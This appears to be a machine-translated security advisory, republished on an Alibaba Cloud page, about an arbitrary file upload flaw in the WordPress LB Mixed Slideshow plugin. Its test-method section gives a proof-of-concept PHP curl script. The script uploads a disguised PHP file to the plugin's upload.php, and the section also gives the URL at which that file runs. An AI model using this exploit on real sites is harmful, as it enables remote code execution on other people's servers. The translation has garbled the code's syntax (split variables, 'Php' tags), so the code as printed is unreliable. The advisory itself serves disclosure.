Arbitrary File Upload Vulnerability in WordPress LB Mixed Slideshow plug-in

Source: Internet
Author: User

Release date:
Updated on:

Affected Systems:
WordPress LB Mixed Slideshow Plugin 1.x
Description:
--------------------------------------------------------------------------------
WordPress is a Blog (Blog, Blog) engine developed using the PHP language and MySQL database. you can create your own Blog on servers that support PHP and MySQL databases.

LB Mixed Slideshow plugin for WordPress 1.0 has a security vulnerability. wp-content/plugins/lb-mixed-slideshow/libs/uploadify/upload. the php script does not correctly verify the uploaded files and can be maliciously used to execute PHP code.

<* Source: Sammy Forgit

Link: http://secunia.com/advisories/49610/
Http://www.opensyscom.fr/Actualites/wordpress-plugins-lb-mixed-slideshow-arbitrary-file-upload-vulnerability.html
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Sammy Forgit () provides the following test methods:

PostShell. php
<? Php

$ Uploadfile = "lo.php.gif ";

$ Ch = curl_init ("http://www.exemple.com/wordpress/wp-content/plugins/lb-mixed-slideshow/libs/uploadify/upload.php? Element_name = images & gid = 1 ");
Curl_setopt ($ ch, CURLOPT_POST, true );
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, array ('images' => "@ $ uploadfile "));
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1 );
$ PostResult = curl_exec ($ ch );
Curl_close ($ ch );
Print "$ postResult ";

?>

Shell Access: http://www.exemple.com/wordpress/wp-content/plugins/lb-mixed-slideshow/gallery/1/lo.php.gif

Lo.php.gif
<? Php
Phpinfo ();
?>

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

WordPress
---------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://wordpress.org/

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.